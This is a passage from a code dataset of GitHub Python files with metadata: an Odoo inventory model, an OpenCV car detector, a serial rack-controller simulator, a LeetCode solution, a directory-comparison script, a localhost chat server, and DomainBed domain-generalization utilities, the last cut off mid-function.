self.env['inventaris.setting'].search([('id', '=', setting_id)])\n \n if default_code.default_asset_code == 'internal_reference':\n self.name = str(self.nama) + ' ' + str(self.internal_reference)\n else:\n self.name = str(self.nama) + ' ' + str(self.code)\n \n @api.model\n def create(self, vals):\n print('Create barang')\n if vals.get('code', _('New')) == _('New'):\n if 'company_id' in vals:\n vals['code'] = self.env['ir.sequence'].with_context(force_company=vals['company_id']).next_by_code('barang.code.seq') or _('New')\n else:\n vals['code'] = self.env['ir.sequence'].next_by_code('barang.code.seq') or _('New')\n \n # set name with default code\n# default_code = self.env['inventaris.setting']\n setting_id = self.env.ref('inventaris.inventaris_default_setting').id\n default_code = self.env['inventaris.setting'].search([('id', '=', setting_id)])\n \n if default_code.default_asset_code == 'internal_reference':\n vals['name'] = vals['nama'] + ' ' + str(vals['internal_reference'])\n# vals['name'] = \n \n pprint(vals)\n result = super(Barang, self).create(vals)\n \n # add first movingz\n result.lokasi_move_id = [(0, 0, {\n 'barang_id' : result.id,\n 'lokasi_id' : result.lokasi_id.id\n })]\n \n # set name if default_code is code\n if default_code.default_asset_code == 'code':\n result.name = result.nama + ' ' + result.code\n \n return result\n \n# @api.multi\n# def write(self, vals):\n# res = super(Barang, self).write(vals)\n# \n# # # update name\n# # setting_id = self.env.ref('inventaris.inventaris_default_setting').id\n# # default_code = self.env['inventaris.setting'].search([('id', '=', setting_id)])\n# # \n# # if default_code.default_asset_code == 'internal_reference':\n# # res.name = res.nama + ' ' + str(res.internal_reference)\n# # else:\n# # res.name = res.nama + ' ' + res.code \n# \n# return res\n \n","repo_name":"butirpadi/flectra_app_sek","sub_path":"inventaris/models/barang.py","file_name":"barang.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2868312793","text":"import cv2\r\nbox = 0\r\ncap = cv2.VideoCapture('video2.mp4')\r\ncar_cascade = cv2.CascadeClassifier('cars.xml')\r\n\r\nwhile True:\r\n ret, img = cap.read()\r\n \r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n \r\n cars = car_cascade.detectMultiScale(gray, 1.1, 10)\r\n \r\n box = 0\r\n for (x,y,w,h) in cars:\r\n cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,255),4)\r\n box = box + 1\r\n cv2.putText(img, \"Car\" + str(box), (x,y), cv2.FONT_HERSHEY_SIMPLEX, .6,(255,255,0),3)\r\n cv2.imshow('video5.mp4', img)\r\n\r\n \r\n if cv2.waitKey(33) == 27:\r\n break\r\n\r\ncv2.destroyAllWindows()\r\n \r\n \r\n","repo_name":"amberitas17/Car-Detection-and-Vehicle-Detection-using-OpenCV","sub_path":"detection.py","file_name":"detection.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33440684481","text":"import time\nimport math\nimport serial\nimport threading\nimport random\nfrom pynput import keyboard\n\nMAX_RACK_NUMBER=6\nMAX_TEMPERATURE=22\nMIN_TEMPERATURE=20\nMAX_HUMIDITY=80\nMIN_HUMIDITY=40\n\n\nRACK_MOVEMENT_SPEED = 4.0\nRACK_MAX_MOVEMENT_SPEED = 15\nRACK_WEIGHT = 80.0\nRACK_MAX_DISPLACEMENT = 64.0\n\nMASTER_CONTROLLER_IDLE_STATE = 'master_controller_idle_state'\nMASTER_CONTROLLER_ENV_STATE = 'master_controller_env_state'\nMASTER_CONTROLLER_OPR_STATE = 'master_controller_operation_state'\nMASTER_CONTROLLER_BRKDOWN_STATE = 'master_controller_breakDown_state'\n\n\nclass MasterCom:\n def __init__(self, rack_group_id=0, port='COM3', baudrate=9600, timeout=None):\n self.rack_group_id = rack_group_id\n self.ser = None\n self.port = port\n self.baudrate = baudrate\n self.timeout = timeout\n self.is_run = False\n self.is_rack_operation = False\n self.is_error = False\n self.is_reading = False\n self.state = MASTER_CONTROLLER_IDLE_STATE\n self.rack_group_state = -1\n self.listen = keyboard.Listener\n self.current_keys = []\n self.error_racks = [[] for i in range(MAX_RACK_NUMBER)]\n self.ventilating_racks_status = [[0.0, 0.0] for i in range(MAX_RACK_NUMBER)]\n self.ventilating_racks = []\n self.opening_racks = []\n self.closing_racks = []\n self.env_messages = ['0|0|0|0|0|0']\n self.opr_messages = ['0|0|0|0|0|0|-1']\n self.brk_messages = ['0|0|0|0|0']\n\n def __init_serial(self):\n if self.ser is None:\n self.ser = serial.Serial(timeout=self.timeout)\n if self.ser.is_open:\n self.ser.close()\n self.ser.baudrate = self.baudrate\n self.ser.port = self.port\n self.ser.open()\n\n def start(self):\n self.__init_serial()\n self.is_run = True\n self.is_reading = True\n\n def create_environmentStatusData(self, rack_group_id=0):\n self.env_messages = []\n# print('[PORT]', self.port)\n for rack_id in range(rack_group_id * 6, rack_group_id * 6 + MAX_RACK_NUMBER):\n random_parameter = random.random()\n temperature = random_parameter * (MAX_TEMPERATURE - MIN_TEMPERATURE) + MIN_TEMPERATURE\n humidity = random_parameter * (MAX_HUMIDITY - MIN_HUMIDITY) + MIN_HUMIDITY\n weight = random_parameter * 1.8 * math.pow(-1, math.floor(random_parameter * 10)) + RACK_WEIGHT\n smoke = 1\n message = 'ENVSTT|'+str(rack_id+1) + '|' + str(temperature) + '|' + str(humidity) + '|' + str(weight) + '|' + str(smoke)\n print(message)\n self.env_messages.append(message)\n self.ser.write((message + '\\n').encode('utf-8'))\n\n def create_movement_speed_number(self, rack_id, random_parameter, settling_time = 1.5) -> float:\n porportional_parameter = RACK_MAX_MOVEMENT_SPEED / settling_time\n time_interval = 1\n if self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] <= 3.2:\n movement_speed = random_parameter * math.pow(-0.4, round(random_parameter * 10)) + porportional_parameter * time_interval / 3\n return movement_speed\n elif self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] < 15:\n movement_speed = random_parameter * math.pow(-0.4, round(random_parameter * 10)) + porportional_parameter * 0.4 + 0.6 * RACK_MAX_MOVEMENT_SPEED\n return movement_speed\n elif self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] < 47:\n movement_speed = random_parameter * math.pow(-0.4, round(random_parameter * 10)) + RACK_MAX_MOVEMENT_SPEED\n return movement_speed\n elif self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] < 59.4:\n movement_speed = random_parameter * math.pow(-0.4, round(random_parameter * 10)) + porportional_parameter * (-1) * 0.25 + RACK_MAX_MOVEMENT_SPEED\n return movement_speed\n movement_speed = random_parameter * math.pow(-0.4, round(random_parameter * 10)) + porportional_parameter * (-1) * time_interval + RACK_MAX_MOVEMENT_SPEED\n return movement_speed\n\n \n\n def create_operation_ventilateStatusData(self, rack_id):\n self.opr_messages = []\n operation_message = 'OPRSTT|' + str(rack_id+1)\n random_parameter = random.random()\n movement_speed = self.create_movement_speed_number(rack_id=rack_id, random_parameter=random_parameter)\n is_hard_locked = 0\n displacement = self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] + movement_speed * 1\n is_endpoint = 0\n\n if self.rack_group_state == -1 and self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1] == 1:\n print(\"[DIRECTION]\", self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1])\n self.ventilating_racks.remove(rack_id + 1)\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1] = 0\n displacement = 0\n movement_speed = 0\n\n if not self.ventilating_racks:\n # set the is_rack_operation flag to False\n self.is_rack_operation = False\n\n if displacement > 2 and displacement < 50 and self.rack_group_state == -1:\n self.rack_group_state = 3\n\n if self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1] == 1:\n displacement = self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] - movement_speed * 1\n \n if displacement > RACK_MAX_DISPLACEMENT:\n displacement = RACK_MAX_DISPLACEMENT\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1] = 1\n if displacement <= 0:\n is_endpoint = 1\n displacement = 0.0\n self.rack_group_state = -1\n\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] = displacement\n \n operation_message += '|' + str(movement_speed) + '|' + str(displacement) + '|' + str(is_hard_locked) + '|' + str(is_endpoint) + '|' + str(self.rack_group_state)\n self.opr_messages.append(operation_message)\n\n return operation_message\n\n def create_operation_open_rack_statusData(self, rack_id):\n self.opr_messages = []\n operation_message = 'OPRSTT|' + str(rack_id+1)\n random_parameter = random.random()\n print('[RANDOM PARAMS]', random_parameter)\n movement_speed = self.create_movement_speed_number(rack_id=rack_id, random_parameter=random_parameter)\n is_hard_locked = 0\n displacement = self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] + movement_speed * 1\n is_endpoint = 0\n if displacement > 0 and displacement < 50 and self.rack_group_state == -1:\n self.rack_group_state = 1\n\n if self.rack_group_state == -1 and displacement > 50:\n self.opening_racks.remove(rack_id + 1)\n movement_speed = 0\n\n if not self.opening_racks:\n # set the is_rack_operation flag to False\n self.is_rack_operation = False\n \n if displacement > RACK_MAX_DISPLACEMENT:\n displacement = RACK_MAX_DISPLACEMENT\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1] = 1\n is_endpoint = 1\n self.rack_group_state = -1\n\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] = displacement\n# print('[DISPLACEMENT]', self.ventilating_racks_status[rack_id][0])\n \n operation_message += '|' + str(movement_speed) + '|' + str(displacement) + '|' + str(is_hard_locked) + '|' + str(is_endpoint) + '|' + str(self.rack_group_state)\n self.opr_messages.append(operation_message)\n\n return operation_message\n\n def create_operation_close_rack_statusData(self, rack_id):\n self.opr_messages = []\n operation_message = 'OPRSTT|' + str(rack_id+1)\n random_parameter = random.random()\n movement_speed = self.create_movement_speed_number(rack_id=rack_id, random_parameter=random_parameter)\n is_hard_locked = 0\n is_endpoint = 0\n displacement = self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] - movement_speed * 1\n\n if displacement > 0 and displacement < 62 and self.rack_group_state == -1:\n self.rack_group_state = 2\n\n if self.rack_group_state == -1 and displacement < 1:\n self.closing_racks.remove(rack_id + 1)\n movement_speed = 0\n\n if not self.closing_racks:\n # set the is_rack_operation flag to False\n self.is_rack_operation = False\n \n if displacement <= 0:\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][1] = 0\n is_endpoint = 1\n displacement = 0.0\n self.rack_group_state = -1\n\n self.ventilating_racks_status[rack_id - self.rack_group_id * MAX_RACK_NUMBER][0] = displacement\n \n operation_message += '|' + str(movement_speed) + '|' + str(displacement) + '|' + str(is_hard_locked) + '|' + str(is_endpoint) + '|' + str(self.rack_group_state)\n self.opr_messages.append(operation_message)\n\n return operation_message\n\n def create_breakdownStatusData(self, error_numbers, rack_id):\n error_message = 'BRKSTT|' + str(rack_id+1)\n self.brk_messages = []\n for number in range(1,4):\n if number in error_numbers:\n error_message += '|1'\n else:\n error_message += '|0'\n self.brk_messages.append(error_message)\n return error_message\n\n def run_masterControllerEnvState(self, sleep_time):\n while self.is_run:\n self.state = MASTER_CONTROLLER_ENV_STATE\n print(f'state: {self.state}')\n self.create_environmentStatusData(rack_group_id=self.rack_group_id)\n\n # The is_run flag to break while loop (run_masterControllerEnvState thread)\n if not self.is_run:\n break\n time.sleep(sleep_time)\n self.state = MASTER_CONTROLLER_IDLE_STATE\n\n if not self.is_run:\n break\n# if self.listen:\n# self.listen.stop()\n\n def read_line_from_computerIPC(self):\n while self.is_reading:\n print(\"hihi\")\n if not self.is_reading:\n break\n line = self.ser.readline().decode('utf-8').replace('\\n', '')\n if line:\n print('[SERIAL IPC]', line) \n\n if len(line) > 4 and line[0] == 'O':\n if line[-1] != '0':\n self.determine_operationInformation(line)\n\n self.is_rack_operation = True\n opr_thread = threading.Thread(target=self.run_masterControllerOperationState, args=(1,))\n opr_thread.start()\n\n if not self.is_reading:\n break\n# self.listen.stop()\n\n\n def run_masterControllerOperationState(self, sleep_time):\n while self.is_rack_operation:\n self.state = MASTER_CONTROLLER_OPR_STATE\n print(f'state: {self.state}')\n for idx in self.ventilating_racks:\n message = ''\n message += self.create_operation_ventilateStatusData(idx-1)\n print(message)\n print('[VENTILATING RACKS]', self.ventilating_racks)\n self.ser.write((message + '\\n').encode('utf-8'))\n\n for idx in self.opening_racks:\n message = ''\n message += self.create_operation_open_rack_statusData(idx-1)\n print(message)\n print('[OPENING RACKS]', self.opening_racks)\n self.ser.write((message + '\\n').encode('utf-8'))\n\n for idx in self.closing_racks:\n message = ''\n message += self.create_operation_close_rack_statusData(idx-1)\n print(message)\n print('[CLOSING RACKS]', self.closing_racks)\n self.ser.write((message + '\\n').encode('utf-8'))\n # The is_rack_operation flag to break run_masterControllerOperationState thread\n if not self.is_rack_operation:\n break\n time.sleep(sleep_time)\n self.state = MASTER_CONTROLLER_IDLE_STATE\n\n if not self.is_rack_operation:\n break\n \n\n def run_masterControllerBreakdownState(self, sleep_time, rack_id = 1, error_numbers = [1]):\n while self.is_error:\n self.state = MASTER_CONTROLLER_BRKDOWN_STATE\n print(f'state: {self.state}')\n for error_number in error_numbers:\n self.error_racks[rack_id-1-self.rack_group_id * MAX_RACK_NUMBER].append(error_number)\n for idx, elements in enumerate(self.error_racks):\n message = ''\n if elements:\n message += self.create_breakdownStatusData(elements, idx+self.rack_group_id * MAX_RACK_NUMBER)\n print(message)\n self.ser.write((message + '\\n').encode('utf-8'))\n # The is_error flag to break run_masterControllerBreakdownState thread\n if not self.is_error:\n self.error_racks[rack_id-1-self.rack_group_id * MAX_RACK_NUMBER].clear()\n break\n time.sleep(sleep_time)\n self.state = MASTER_CONTROLLER_IDLE_STATE\n\n if not self.is_error:\n self.error_racks[rack_id-1-self.rack_group_id * MAX_RACK_NUMBER].clear()\n break\n\n def determine_errorInformation(self):\n if len(self.current_keys) == 3 and self.current_keys[0] == 69:\n self.error_racks[self.current_keys[1] - 49].append(self.current_keys[2] - 48)\n print(self.error_racks)\n self.current_keys = []\n\n\n def determine_operationInformation(self, message=''):\n opr_message_list = []\n if len(self.current_keys) == 2 and self.current_keys[0] == 79:\n self.ventilating_racks.append(self.current_keys[1] - 49)\n print(self.ventilating_racks)\n self.current_keys = []\n if len(message) > 4 and message[0] == 'O' and message[-1]=='3':\n opr_message_list = message.split('|')\n self.ventilating_racks.append(int(opr_message_list[1]))\n print('[VENTILATING RACKS]', self.ventilating_racks)\n if len(message) > 4 and message[0] == 'O' and message[-1]=='1':\n opr_message_list = message.split('|')\n self.opening_racks.append(int(opr_message_list[1]))\n print('[OPENING RACKS]', self.opening_racks)\n if len(message) > 4 and message[0] == 'O' and message[-1]=='2':\n opr_message_list = message.split('|')\n self.closing_racks.append(int(opr_message_list[1]))\n print('[CLOSING RACKS]', self.closing_racks)\n\n def execute_stopRunning(self):\n print('Stop running')\n self.is_run = False\n self.is_error = False\n self.is_reading = False\n self.ser.close()\n\n def determine_shortcuts(self, vk):\n if vk == 27:\n self.execute_stopRunning()\n return\n# elif vk == 83:\n#\n# self.current_keys = []\n# # Environment thread\n# env_thread = threading.Thread(target=self.run_masterControllerEnvState, daemon=True, args=(10,))\n# env_thread.start()\n elif vk == 69 and not self.is_error:\n self.is_error = True\n\n # Breakdown thread\n brkdown_thread = threading.Thread(target=self.run_masterControllerBreakdownState, args=(6,))\n brkdown_thread.start()\n\n elif self.current_keys[0] == 69:\n self.determine_errorInformation()\n else:\n self.current_keys = []\n\n# elif vk == 79 and not self.is_rack_operation:\n# self.is_rack_operation = True\n#\n# # Operation status thread\n# opr_thread = threading.Thread(target=self.run_masterControllerOperationState, args=(4,))\n# opr_thread.start()\n#\n# elif self.current_keys[0] == 79:\n# self.determine_operationInformation()\n\n def on_press(self, key):\n vk = key.vk if hasattr(key, 'vk') else key.value.vk\n print('vk: ', vk)\n self.current_keys.append(vk)\n print('keys: ', self.current_keys)\n if vk == None:\n return\n self.determine_shortcuts(vk)\n\n\n def run_masterController(self):\n self.start()\n print('Start controller successfully!!')\n\n # Readline from ComputerIPC thread\n env_thread = threading.Thread(target=self.run_masterControllerEnvState, daemon=True, args=(10,))\n env_thread.start()\n\n read_computerIPC_thread = threading.Thread(target=self.read_line_from_computerIPC, daemon=True)\n read_computerIPC_thread.start()\n\n\n with keyboard.Listener(on_press=self.on_press) as listener:\n self.listen = listener\n listener.join()\n\n\nif __name__ == '__main__':\n HahaController = MasterCom()\n HahaController.run_masterController()\n\n\n\n","repo_name":"namt93/simulator-pyqt-project","sub_path":"virtual_serial/virtual_master_controller.py","file_name":"virtual_master_controller.py","file_ext":"py","file_size_in_byte":17445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26282118350","text":"class Solution:\n def updateMatrix(self, matrix: List[List[int]]) -> List[List[int]]:\n direction = [(1,0),(0,1),(-1,0),(0,-1)]\n while True:\n no_change = True\n for i in range(len(matrix)):\n for j in range(len(matrix[0])):\n if matrix[i][j] != 0:\n min_val = sys.maxsize\n for k in range(4):\n x = i + direction[k][0]\n y = j + direction[k][1]\n if x >= 0 and x < len(matrix) and y >= 0 and y < len(matrix[0]):\n min_val = min(min_val,matrix[x][y])\n if matrix[i][j] != min_val + 1:\n no_change = False\n matrix[i][j] = min_val + 1\n if no_change: break\n return matrix\n\n","repo_name":"jw3329/leetcode-problem-solving","sub_path":"Mock/Online/01 Matrix/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17022070506","text":"''' The syntax for this script is simply \"dir_cmp.py '''\n\nimport os, sys\nimport hashlib\nimport stat\nimport multiprocessing\nfrom multiprocessing import Process, JoinableQueue\n\nnum_procs = multiprocessing.cpu_count()\nnum_procs *= 4\n\ndef get_hash(fh, sz):\n h = hashlib.sha256()\n while True:\n buf = fh.read(65536)\n if len(buf) == 0: break\n h.update(buf)\n return h.digest()\n\ndef chk(path, lf, dir):\n path1 = os.path.join(dir, path)\n st = None\n st1 = None\n try:\n st = os.lstat(path)\n st1 = os.lstat(path1)\n except:\n lf.write(\"Missing: \" + path1 + \"\\n\")\n lf.flush()\n return\n\n if not stat.S_ISREG(st.st_mode):\n return\n if st.st_size != st1.st_size:\n lf.write(\"Size differ: \" + path1 + \"\\n\")\n lf.flush()\n return\n if st.st_size == 0: return\n\n hv = None\n hv1 = None\n try:\n fh = open(path, \"r\")\n hv = get_hash(fh, st.st_size)\n fh.close()\n fh = open(path1, \"r\")\n hv1 = get_hash(fh, st.st_size)\n fh.close()\n except:\n lf.write(\"Open error: \" + path1 + \"\\n\")\n lf.flush()\n return\n\n if hv != hv1:\n lf.write(\"Digests differ: \" + path1 + \"\\n\")\n lf.flush()\n\ndef proc_chk(q, lf, dir):\n while True:\n path1 = q.get()\n if path1 == \"done\":\n break\n chk(path1, lf, dir)\n q.task_done()\n q.task_done()\n\nq = JoinableQueue()\nlf = open(\"/var/tmp/differ_files\", \"w+\")\ndir1 = os.path.realpath(sys.argv[1])\ndir2 = os.path.realpath(sys.argv[2])\n\no_cwd = os.getcwd()\nos.chdir(dir1)\ncwd = os.getcwd()\n\nfor i in range(0, num_procs):\n p = Process(target=proc_chk, args=(q, lf, dir2))\n p.start()\n\nfor dirpath, dirnames, filenames in os.walk(\".\", followlinks=False):\n for f in filenames:\n q.put(os.path.join(dirpath, f))\n\nfor i in range(0, num_procs):\n q.put(\"done\")#q.join()\nlf.close()\nos.chdir(o_cwd)","repo_name":"jakobjohns/directory-compare-tree","sub_path":"dir_cmp.py","file_name":"dir_cmp.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7412330732","text":"# Name: Cameron Bowers\n# OSU Email: bowercam@oregonstate.edu\n# Course: CS372 - Intro To Networking\n# Assignment: RDT\n# Due Date: 6/04/2022\n# Description: This program is a simple chat program\n# Cited sources: https://docs.python.org/3/howto/sockets.html\n\nimport socket\n\ndef server():\n \"\"\"The server host this connection with the client\"\"\"\n HOST = \"127.0.0.1\" # Standard loopback interface address (localhost). Make \"\" to accept all connections.\n PORT = 65432 # Port to listen on (non-privileged ports are > 1023)\n\n # Initialize the socket\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((HOST, PORT))\n s.listen()\n conn, addr = s.accept()\n with conn:\n print(f\"Connected by {addr}\")\n while True:\n # Receive reply\n data = conn.recv(1024)\n data = data.decode(\"utf-8\")\n\n # Detect disconnect\n if data == \"/q\":\n data = bytes(data, 'utf-8')\n conn.sendall(data) # Disconnect the client\n conn.close() # Disconnect the self\n return print(\"Disconnected\")\n print(data)\n\n # Send Reply\n data = input()\n data = bytes(data, 'utf-8')\n conn.sendall(data)\n\n\nserver()\n","repo_name":"AutonomousDev/CS372_chat","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12307407033","text":"import hashlib\nimport json\nimport os\nimport pickle\nimport sys\nfrom collections import Counter\nfrom shutil import copyfile\n\nimport numpy as np\nimport torch\nimport torch.autograd as autograd\nimport torch.nn.functional as F\nimport tqdm\n\nfrom domainbed.lib.misc import (PredictiveEntropy, Tee, accuracy,\n calculate_cosine_similarity_loss, compare_models, load_obj,\n make_weights_for_balanced_classes, print_row,\n print_separator, random_pairs_of_minibatches,\n save_obj_with_filename, seed_hash)\n\n\nclass _SplitDataset(torch.utils.data.Dataset):\n \"\"\"Used by split_dataset\"\"\"\n def __init__(self, underlying_dataset, keys):\n super(_SplitDataset, self).__init__()\n self.underlying_dataset = underlying_dataset\n self.keys = keys\n def __getitem__(self, key):\n return self.underlying_dataset[self.keys[key]]\n def __len__(self):\n return len(self.keys)\n\ndef split_dataset(dataset, n, seed=0):\n \"\"\"\n Return a pair of datasets corresponding to a random split of the given\n dataset, with n datapoints in the first dataset and the rest in the last,\n using the given random seed\n \"\"\"\n # if len(dataset) > 1:\n # in_sp = [[]]*len(dataset)\n # out_sp = [[]]*len(dataset)\n # assert(n <= len(dataset[0]))\n # keys = list(range(len(dataset)))\n # np.random.RandomState(seed).shuffle(keys)\n # keys_1 = keys[:n]\n # keys_2 = keys[n:]\n # for i in range(len(dataset)):\n # out_sp[i], in_sp[i]= _SplitDataset(dataset[i], keys_1), _SplitDataset(dataset[i], keys_2)\n # return out_sp, in_sp[0]\n # else:\n assert(n <= len(dataset))\n keys = list(range(len(dataset)))\n np.random.RandomState(seed).shuffle(keys)\n keys_1 = keys[:n]\n keys_2 = keys[n:]\n return _SplitDataset(dataset, keys_1), _SplitDataset(dataset, keys_2)\n\n\n\n\ndef DREAME_beta_grads(loaders, test_env_loader, model_chosen, device):\n test_env_grads = []\n \n for x, y in test_env_loader:\n x = x.to(device)\n y = y.to(device)\n pred = model_chosen(x)\n loss = F.cross_entropy(pred, y)\n test_env_grads.append(torch.autograd.grad(loss, model_chosen.parameters(), allow_unused=True))\n \n test_grads=[]\n for i in range(len(list(model_chosen.parameters()))):\n corresponding = []\n for l in test_env_grads:\n corresponding.append(l[i])\n test_grads.append(torch.mean(torch.stack((corresponding)), dim = 0))\n\n loader_iterator = zip(*loaders)\n env_grads = []\n for step in range(32000):\n try:\n minibatches = [(x.to(device), y.to(device)) for x,y in next(loader_iterator)] \n all_x = torch.cat([x for x,y in minibatches])\n all_y = torch.cat([y for x,y in minibatches])\n pred = model_chosen(all_x)\n loss = F.cross_entropy(pred, all_y)\n env_grads.append(torch.autograd.grad(loss, model_chosen.parameters(), allow_unused=True))\n except Exception as e:\n print(e)\n break\n fenv_grads=[]\n for i in range(len(list(model_chosen.parameters()))):\n corresponding = []\n for l in env_grads:\n corresponding.append(l[i])\n fenv_grads.append(torch.mean(torch.stack((corresponding)), dim = 0))\n return calculate_cosine_similarity_loss(fenv_grads,test_grads)\ndef ensemble_accuracy(networks, loader, weights, device):\n correct = 0\n total = 0\n weights_offset = 0\n\n [network.eval() for network in networks]\n predictions_=[]\n pred_entropies_all=[]\n max_probs= []\n labels_=[]\n entropy = PredictiveEntropy()\n with torch.no_grad():\n for x, y in loader:\n x = x.to(device)\n y = y.to(device)\n \n p = [network(x) for network in networks]\n\n p_mean = torch.mean(torch.stack(p),dim =0)\n \n if weights is None:\n batch_weights = torch.ones(len(x))\n else:\n batch_weights = weights[weights_offset : weights_offset + len(x)]\n weights_offset += len(x)\n batch_weights = batch_weights.to(device)\n if p_mean.size(1) == 1:\n correct += (p_mean.gt(0).eq(y).float() * batch_weights.view(-1, 1)).sum().item()\n else:\n correct += (p_mean.argmax(1).eq(y).float() * batch_weights).sum().item()\n total += batch_weights.sum().item()\n predictions_.append(p_mean.detach().cpu().numpy())\n labels_.append(y.detach().cpu().numpy())\n pred_entropies_all.append(entropy(p_mean).detach().cpu().numpy())\n\n [network.train() for network in networks]\n return_dict={}\n return_dict['acc']=correct / total\n return_dict['labels']= np.concatenate(labels_)\n return_dict['preds']= np.concatenate(predictions_)\n return_dict['pred_entropies']= np.concatenate(pred_entropies_all)\n return return_dict\ndef DREAME_accuracy(algorithm,eval_dict, test_envs,correct_models_selected_for_each_domain,device,acc_flags):\n compute_test_beta=acc_flags['compute_test_beta'] # setting this to false will give you ensemble\n ensemble_for_obs= acc_flags['ensemble_for_obs']\n correct = 0\n total = 0\n weights_offset = 0 \n eval_loader_names= list(eval_dict.keys())\n \n\n beta_all =[]\n test_env = test_envs[0]\n\n # obs_loader_insplit_names = ['env{}_in'.format(i)\n # for i in range(len(eval_loader_names)//2) if i not in test_envs]\n # obs_loader_outsplit_names= ['env{}_out'.format(i)\n # for i in range(len(eval_loader_names)//2) if i not in test_envs]\n\n # un_obs_insplit_name = ['env{}_in'.format(i) for i in test_envs]\n # un_obs_outsplit_name = ['env{}_out'.format(i) for i in test_envs]\n\n \n for network_i in algorithm.DREAME_networks:\n network_i.eval()\n\n \n domains_selected_for_each_model= [[] for i in range(len(algorithm.DREAME_networks))]\n model_domains = []\n for model in range(len(algorithm.DREAME_networks)):\n for i,ms in enumerate(correct_models_selected_for_each_domain):\n if ms is not np.nan:\n if ms == model:\n domains_selected_for_each_model[model].append(i)\n \n\n \n # for observed domains, we know what models to select. \n # So directly get the accuracies from corresponding model\n if ensemble_for_obs:# ensemble and individual for both observed and unobserved domains\n results ={}\n for i in range(len(eval_loader_names)//2):\n # for split in ['_in','_out']:\n\n for split in ['_out0']:\n\n \n name = 'env'+str(i)+split\n loader= eval_dict[name][0]\n weights= eval_dict[name][1]\n if i in test_envs: \n name = 'unobs_'+'env'+str(i)+'_in0' \n loader = eval_dict['env'+str(i)+'_in0'][0]# for test env we need 'in' not 'out\n weights= eval_dict['env'+str(i)+'_in0'][1]\n for m in range(len(algorithm.DREAME_networks)):\n acc= accuracy(algorithm.DREAME_networks[m],loader,weights,device)\n \n results[name+'_m_'+str(m)+'_acc'] = acc\n \n ensemble_result_dict= ensemble_accuracy(algorithm.DREAME_networks,loader,weights,device)\n \n results[name+'_ens_acc']= ensemble_result_dict['acc']\n results[name+'_preds_ens']= ensemble_result_dict['preds']\n results[name+'_labels']= ensemble_result_dict['labels']\n results[name+'_entropies'] = ensemble_result_dict['pred_entropies']\n\n else:\n \n results={}\n eval_out_loader_names = [i for i in eval_loader_names if '_in' not in i]\n for i, name in enumerate(eval_loader_names):\n if (int(name[3]) not in test_envs):\n loader= eval_dict[name][0]\n weights= eval_dict[name][1]\n if '_in' in name:\n model_domain_name = 'env'+str(i)+'_out0'\n model_num_idx = eval_out_loader_names.index(model_domain_name)\n else: \n model_num_idx = eval_out_loader_names.index(name)\n model_num = int(correct_models_selected_for_each_domain[model_num_idx])\n acc=accuracy(algorithm.DREAME_networks[model_num],loader,weights,device)\n results[name+'_acc'] = acc\n\n\n # for unobserved domains we will pick top k models from beta and either do an ensemble or directly pick the best\n #model and return the accuracy\n #beta is a (num_testenvs X num_models)\n if compute_test_beta:\n beta = torch.zeros((len(test_envs), len(algorithm.DREAME_networks)))\n for j, test_env in enumerate(test_envs):\n for i, domain_idx in enumerate(domains_selected_for_each_model):\n loaders = []\n for domain in domain_idx:\n domain_name = eval_out_loader_names[domain]\n loaders.append(eval_dict[domain_name][0])\n test_env_domain_name = 'env'+str(test_env)+'_out0'\n test_env_loader= eval_dict[test_env_domain_name][0]\n if len(domain_idx) != 0:\n beta[test_env,i] = DREAME_beta_grads(loaders, test_env_loader, algorithm.DREAME_networks[i], device)\n else:\n beta[test_env,i] = 0\n for i,test_env in enumerate(test_envs):\n beta_test_env = beta[i,:]\n best_model_num = np.argmax(beta_test_env)\n for split in ['_in','_out']:\n name = 'env'+str(test_env)+split+str(0)\n loader= eval_dict[name][0]\n weights= eval_dict[name][1]\n acc=accuracy(algorithm.DREAME_networks[best_model_num],loader,weights,device)\n results[name+'_acc'] = acc\n else: \n \"\"\"\n if we dont want to compute betas we want to get results using all the models and also an ensemble of them\n \"\"\"\n for i,test_env in enumerate(test_envs):\n for split in ['_in','_out']:\n name = 'env'+str(test_env)+split+str(0)\n loader= eval_dict[name][0]\n weights= eval_dict[name][1]\n for m in range(len(algorithm.DREAME_networks)):\n acc= 